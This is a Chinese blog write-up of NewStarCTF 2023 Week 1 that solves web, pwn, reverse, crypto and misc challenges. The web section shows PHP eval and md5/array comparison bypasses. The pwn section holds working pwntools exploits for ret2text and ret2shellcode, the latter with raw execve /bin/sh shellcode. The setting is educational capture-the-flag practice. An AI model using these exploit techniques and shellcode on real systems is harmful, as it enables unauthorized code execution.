目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. 泄漏的秘密
    2. 2.2. ErrorFlask
    3. 2.3. Begin of Upload
    4. 2.4. Begin of HTTP
    5. 2.5. R!C!E!
    6. 2.6. Begin of PHP
      1. 2.6.1. level1
      2. 2.6.2. level2
      3. 2.6.3. level3
      4. 2.6.4. level4
      5. 2.6.5. level5
    7. 2.7. EasyLogin
      1. 2.7.1. 错误的思路
      2. 2.7.2. 正解
  3. 3. Pwn
    1. 3.1. ret2text
    2. 3.2. ezshellcode
    3. 3.3. newstar shop
    4. 3.4. p1eee(未完成)
  4. 4. Reverse
    1. 4.1. easy_RE
    2. 4.2. Segments
    3. 4.3. ELF
    4. 4.4. Endian
    5. 4.5. AndroXor
  5. 5. Crypto
    1. 5.1. brainfuck
    2. 5.2. Caesar’s Secert
    3. 5.3. Fence
    4. 5.4. Vigenère
    5. 5.5. babyencoding
  6. 6. Misc
    1. 6.1. CyberChef’s Secret
    2. 6.2. 机密图片
    3. 6.3. 流量!鲨鱼!

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NewStarCTF 2023 Week1

2023/9/25 CTF线上赛
  |     |   总文章阅读量:

前言

官方wp

Web:7/7

Pwn:3/5

Reverse:5/8

Crypto:5/10

Misc:3/6

然后排在了185名,这就是公开赛道

Web

泄漏的秘密

信息泄露

一个是robots.txt,访问得到PART ONE: flag{r0bots_1s_s0_us3ful

另一个是www.zip,下载解压得到index.php

<?php
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";
echo "<h1>粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!</h1>";

flag:flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}


ErrorFlask

debug

访问靶机,告诉我们give me number1 and number2,i will help you to add

那我们get传参两个数字1和2到参数number1和number2看看,回显not ssti,flag in source code~3

不是ssti,那我们尝试输入个字符串给参数看看

出现报错,在debug报错界面找到flag

image-20230925102752676


Begin of Upload

文件上传

最基础的文件上传

image-20230925103323759

拿到shell直接命令执行

image-20230925103431950


Begin of HTTP

http

burp抓包发到重放器开始操作

一开始要我们get传入ctf参数,我们随便传入个?ctf=1即可

然后要我们post传入指定的secret参数,要求的secret值在页面的源码注释<!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) -->中,把base64解码出来的值n3wst4rCTF2023g00000d传入secret参数即可

接下来要求我们的power值等于ctfer,这个参数在cookie,修改即可

下一步,要求我们用NewStarCTF2023浏览器,也就是要我们修改User-Agent头

然后要求我们从newstarctf.com 访问,也就是添加一个Referer头,值为newstarctf.com

最后要求我们是本地用户,也就是伪造成本地ip127.0.0.1,只要添加一个能伪造ip的头,值为127.0.0.1即可,这里试了下居然是X-Real-IP

image-20230925110245652


R!C!E!

RCE

源码

 <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
} 

首先是password的md5值开头要等于c4d038

这里我直接python脚本爆破

import hashlib

target_prefix = "c4d038"

def find_string_with_md5_prefix(prefix):
    for i in range(1000000):  # 假设在一定范围内查找
        string = str(i)
        md5_hash = hashlib.md5(string.encode()).hexdigest()
        if md5_hash.startswith(prefix):
            return string
    
    return None

result = find_string_with_md5_prefix(target_prefix)
if result:
    print("String with MD5 prefix", target_prefix + ":", result)
else:
    print("No string found with MD5 prefix", target_prefix)
# 114514

然后e_v.a.l参数这里考了非法传参,我们要传入e[v.a.l

接着命令执行这里要先?>闭合然后再<?=,用反引号进行命令执行,tac和通配符*直接读flag

PS:后来发现可以用var_dump(scandir('/'))直接读取

image-20230925115129424


Begin of PHP

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
} 

level1

md5之php弱比较

key1=QNKCDZO&key2=240610708

level2

数组绕过

md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) = null
strpos(Array(),”abc”) = null
strlen(Array()) = null

所以只要传key3[]=

level3

数组绕过

key4[]=

level4

php弱类型比较

key5=2024a

level5

数组绕过

这一步我也是本地调试了一段时间才弄明白的

首先是foreach($_POST as $var),这一步是把POST的所有参数的赋给了$var

然后再对$var进行正则匹配

注意:除了这个if语句,其它地方都没有提到$flag5,也就是说我们要自己让$flag5的值为True,而要传入$flag5这个参数来赋值,就要利用extract函数,也就是要用POST传参的方式,接下来就到了绕过正则匹配上,我这里本地起了一个php环境来测试

image-20230925171718161

发现只传入key3[]的时候正则匹配就报错了,并且没有出现要打印的字符串,也就是说明数组可以绕过这个正则,那接下来就是让flag5也以flag5[]的数组形式传入参数即可

image-20230925172220586


EasyLogin

爆破admin的密码

image-20230925193010954

得到对应的md5值670b14728ad9902aecba32e22fa4f6bd,密码居然是6个0。。。

错误的思路

审计一下终端页面的js代码,在le.pushInput('chat')处打断点,刷新页面

image-20230926185314249

然后在控制台输入le.pushInput('a')插入任意字符;阻断终端进入chat,点击继续,这样就可以在终端进行命令执行了

image-20230926185506544

接着就能发现终端里头除了几个指令啥都没有,flag不在这里啊啊啊(明明是个新生赛怎么可能上这种难度

PS:其实ctrl+c、ctrl+d就可以脱离chat了。。。

正解

在登录的时候抓包,发现会先跳转到一个php页面,然后才会进入到终端,但是在进入终端之后再回去访问这个页面会报404,猜测是被删掉了

于是我们在点击登录键的时候抓包,成功抓到这个重定向的php页面

image-20230926184248937

flag就在这里


Pwn

ret2text

checksec检查附件可知64位

image-20230925110949446

rbp偏移0x20

shift+f12追踪/bin/sh到backdoor函数

Tips:空格可转换成汇编视图

image-20230925111726682

找到push入栈起始地址0x4011FF

exp:

from pwn import *

p = remote("node4.buuoj.cn", "27734")

offset = 0x20+0x8
get_flag_addr = 0x4011FF
payload = offset * b'a' + p64(get_flag_addr)

p.sendline(payload)
p.interactive()

然后命令执行获得flag即可

image-20230925111609710


ezshellcode

ret2shellcode

参考c12en的博客

checksec检查附件发现64位开了NX,不能在栈上写入

ida反编译

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-8h]

  init(argc, argv, envp);
  buf = (void *)(int)mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);
  puts("Welcome to NewStar CTF!!");
  puts("Show me your magic");
  read(0, buf, 0x100uLL);
  JUMPOUT(0x66660000LL);
}

rbp偏移0x8位

mmap函数:开辟一块空间存放我们输入的值,其地址为第一个参数addr(0x66660000)

shift+f12没有找到system(/bin/sh)

那么我们要做的就是将shellcode写入内存(在这里就是上面开辟的空间),然后在接下来的栈溢出中控制程序执行流到shellcode

常用的shellcode:\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

from pwn import *

io = remote("node4.buuoj.cn",29175)
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#shellcode = asm(shellcraft.sh())
#shellcode = asm(shellcraft.sh(), arch='amd64')
io.recvuntil(b"Welcome to NewStar CTF!!")
io.recvuntil(b"Show me your magic")
io.sendline(shellcode)
payload = cyclic(0x8+0x8)+p64(0x66660000)
io.sendline(payload)
io.recv()
io.interactive()

image-20230926095416820


newstar shop

整数溢出

ida64反编译

image-20230926190159363

直接代码审计

shop

unsigned __int64 shop()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("=============================");
  puts("===Welcome to newstar shop===");
  puts("=============================");
  puts("1.newstar's gift          20$");
  puts("2.pwn write up            40$");
  puts("3.shell                 9999$");
  puts("\n");
  puts("All things are only available for one day!");
  puts("What do you want to buy?");
  puts("\n");
  if ( (int)__isoc99_scanf("%d", &v1) <= 0 )
    puts("Invalid input");
  if ( v1 != 3 )
  {
    if ( v1 > 3 )
    {
LABEL_17:
      puts("nothing here");
      puts("\n");
      return v2 - __readfsqword(0x28u);
    }
    if ( v1 == 1 )
    {
      if ( (unsigned int)money > 0x13 )
      {
        money -= 20;
        puts("You buy a newstar's gift");
        puts("That is the gift:");
        puts("What will happen when int transfer to unsigned int?");
        goto LABEL_10;
      }
    }
    else
    {
      if ( v1 != 2 )
        goto LABEL_17;
      if ( (unsigned int)money > 0x27 )
      {
        money -= 40;
        puts("You buy a pwn write up");
        puts("That is free after the match,haha");
        goto LABEL_10;
      }
    }
    puts("Sorry,you don't have enough money");
LABEL_10:
    puts("\n");
    return v2 - __readfsqword(0x28u);
  }
  if ( (unsigned int)money > 0x270E )
  {
    money = 0;
    puts("How do you buy it?");
    puts("\n");
    system("/bin/sh");
  }
  else
  {
    puts("Sorry,you don't have enough money");
    puts("\n");
  }
  return v2 - __readfsqword(0x28u);
}

我们需要9999块钱进shell,选项1和选项2分别会消费20块和50块,而且变量money是unsigned int型,说明存在整型溢出

makemoney函数,这个函数纯赚钱,而且有限制,肯定到不了9999,代码就不放了

dont_try函数,这个函数会强行扣50块钱,而且只能用一次

而我们的目的是让我们的钱变为负数,这样就可以进入shell了

所以思路为:先在shop把原有的钱花光,最后用dont_try函数让自己的钱变为负数即可

image-20230926192422908


p1eee(未完成)

image-20230926193530017

64位保护除canary全开

因为开了PIE,地址随机化了,我们不能直接知道偏移量


Reverse

easy_RE

拖进ida64,f5反编译

image-20230925110555841

找到后半段flag,前半段flag在v5数组中,只需要把每个值作为ascii码转换为字符即可

写个python脚本进行转换

v5 = [102, 108, 97, 103, 123, 119, 101, 49, 99, 48, 109]
result = ''.join(chr(i) for i in v5)

print("Converted string:", result)
# Converted string: flag{we1c0m

flag:flag{we1c0me_to_rev3rse!!}


Segments

根据提示拖入ida后shift+f7

image-20230927002004815

flag:flag{You_ar3_g0od_at_f1nding_ELF_segments_name}


ELF

反编译

image-20230927002536101

很明显是经过了一次encode函数加密和一次base64加密后得到了对应的字符串

先双击base64_encode函数拿到表ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789

对字符串进行base64解码,得到V\QWkt .$_e.'^_g.gXQ'.u|v.!c/m

然后双击encode函数查看代码

_BYTE *__fastcall encode(const char *a1)
{
  size_t v1; // rax
  int v2; // eax
  _BYTE *v4; // [rsp+20h] [rbp-20h]
  int i; // [rsp+28h] [rbp-18h]
  int v6; // [rsp+2Ch] [rbp-14h]

  v1 = strlen(a1);
  v4 = malloc(2 * v1 + 1);
  v6 = 0;
  for ( i = 0; i < strlen(a1); ++i )
  {
    v2 = v6++;
    v4[v2] = (a1[i] ^ 0x20) + 16;
  }
  v4[v6] = 0;
  return v4;
}

是一段异或代码

编写逆向脚本

encrypted_str = "V\QWkt .$_e.'^_g.gXQ'.u|v.!c/m"

decrypted_str = ""
for char in encrypted_str:
    decrypted_char = chr((ord(char) - 16) ^ 0x20)
    decrypted_str += decrypted_char

print(decrypted_str)
# flag{D0>4ou>7now>wha7>ELF>1s?}

不知道为什么下划线变成了>

得到flag:flag{D0_4ou_7now_wha7_ELF_1s?}


Endian

反编译,双击array数组查看里面存储的内容

image-20230927004130517

image-20230927004001037

是小端存储

from Crypto.Util.number import *

enc = [0x75553A1E, 0x7B583A03, 0x4D58220C, 0x7B50383D, 0x736B3819]
for i in enc:
    print(long_to_bytes(i ^ 0x12345678).decode()[::-1], end='')
# flag{llittl_Endian_a

flag:flag{llittl_Endian_a}


AndroXor

jadx反编译

在AndroidManifest.xml文件中找到MainActivity,双击进入

image-20230927110051223

先把cArr全部转换为ascii码,然后与happyx3异或

exp:

enc = "" 
str2 = "happyx3"  
cArr = [14, 13, 17, 23, 2, 75, 73, 55, 32, 30, 20, 73, 10, 2, 12, 62, 40, 64, 11, 39, 75, 89, 25, 65, 13]

for i in range(25):
    enc += chr(cArr[i] ^ ord(str2[i % len(str2)]))
    
print(enc)
# flag{3z_And0r1d_X0r_x1x1}

Crypto

brainfuck

++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++.

解码网站:https://www.splitbrain.org/services/ook

flag:flag{Oiiaioooooiai#b7c0b1866fe58e12}


Caesar’s Secert

kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}

普通凯撒密码

脚本:

def caesar_decrypt(ciphertext, shift):
    """
    凯撒密码解密函数
    :param ciphertext: 密文
    :param shift: 移位数
    :return: 明文
    """
    plaintext = ""
    for char in ciphertext:
        if char.isalpha():
            # 将字母转换为ASCII码,并减去65或97,使得A或a的ASCII码为0
            ascii_code = ord(char) - shift
            # 处理超出字母表范围的ASCII码
            if char.isupper():
                if ascii_code < 65:
                    ascii_code += 26
            else:
                if ascii_code < 97:
                    ascii_code += 26
            # 将ASCII码转换回字符
            plaintext += chr(ascii_code)
        else:
            plaintext += char
    return plaintext


ciphertext = "kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}"
for i in range(1, 30):
    shift = i
    plaintext = caesar_decrypt(ciphertext, shift)
    print(plaintext)
# flag{ca3s4r's_c1pher_i5_v4ry_3azy}

Fence

fa{ereigtepanet6680}lgrodrn_h_litx#8fc3

w型栅栏密码,栏数为2

解密网址:http://www.atoolbox.net/Tool.php?Id=777

flag:flag{reordering_the_plaintext#686f8c03}


Vigenère

pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}

维吉尼亚,脚本爆破

letter_list = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'  # 字母表


# 根据输入的key生成key列表
def Get_KeyList(key):
    key_list = []
    for ch in key:
        key_list.append(ord(ch.upper()) - 65)
    return key_list


# 加密函数
def Encrypt(plaintext, key_list):
    ciphertext = ""

    i = 0
    for ch in plaintext:  # 遍历明文
        if 0 == i % len(key_list):
            i = 0
        if ch.isalpha():  # 明文是否为字母,如果是,则判断大小写,分别进行加密
            if ch.isupper():
                ciphertext += letter_list[(ord(ch) - 65 + key_list[i]) % 26]
                i += 1
            else:
                ciphertext += letter_list[(ord(ch) - 97 + key_list[i]) %
                                          26].lower()
                i += 1
        else:  # 如果密文不为字母,直接添加到密文字符串里
            ciphertext += ch
    return ciphertext


# 解密函数
def Decrypt(ciphertext, key):
    plaintext = ""

    i = 0
    for ch in ciphertext:  # 遍历密文
        if 0 == i % len(key_list):
            i = 0
        if ch.isalpha():  # 密文为否为字母,如果是,则判断大小写,分别进行解密
            if ch.isupper():
                plaintext += letter_list[(ord(ch) - 65 - key_list[i]) % 26]
                i += 1
            else:
                plaintext += letter_list[(ord(ch) - 97 - key_list[i]) %
                                         26].lower()
                i += 1
        else:  # 如果密文不为字母,直接添加到明文字符串里
            plaintext += ch
    return plaintext


if __name__ == '__main__':
    print("加密请按D,解密请按E:")
    user_input = input()
    while (user_input != 'D' and user_input != 'E'):  # 输入合法性判断
        print("输入有误!请重新输入:")
        user_input = input()

    print("请输入密钥,随便输后面会爆破,大写字母就行:")
    key = input()
    while (False == key.isalpha()):  # 输入合法性判断
        print("输入有误!密钥为字母,请重新输入:")
        key = input()

    key_list = Get_KeyList(key)
    # print(key_list)
    if user_input == 'D':
        # 加密
        print("请输入明文:")
        plaintext = input()
        ciphertext = Encrypt(plaintext, key_list)
        print("密文为:\n%s" % ciphertext)
    else:
        # 解密
        print(key_list)
        print("请输入密文,把密文输进去:")
        ciphertext = input()
        for i in range(26):
            for j in range(26):
                for k in range(26):
                    key_list = [i, j, k]
                    plaintext = Decrypt(ciphertext, key_list)
                    if "flag" in plaintext:
                        print(plaintext)
                        break
                    #print("明文为:\n%s" % plaintext)

flag:flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}


babyencoding

part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`

flag1:base64解码flag{dazzling_encoding#4e0ad4

flag2:base32解码f0ca08d1e1d0f10c0c7afe422fea7

flag3:uuencode解码c55192c992036ef623372601ff3a}

最终flag:flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}


Misc

CyberChef’s Secret

cyberchef一把梭

image-20230925181013897


机密图片

stegsolve把rgb通道设为0即可获得flag

image-20230927111012605


流量!鲨鱼!

wireshark

image-20230927112453956

翻一翻找到一个对疑似flag文件进行base64编码的操作

右键追踪对应的http流

image-20230927112620327

返回200,把返回的base64字符串解码两次得到flag

image-20230927112707643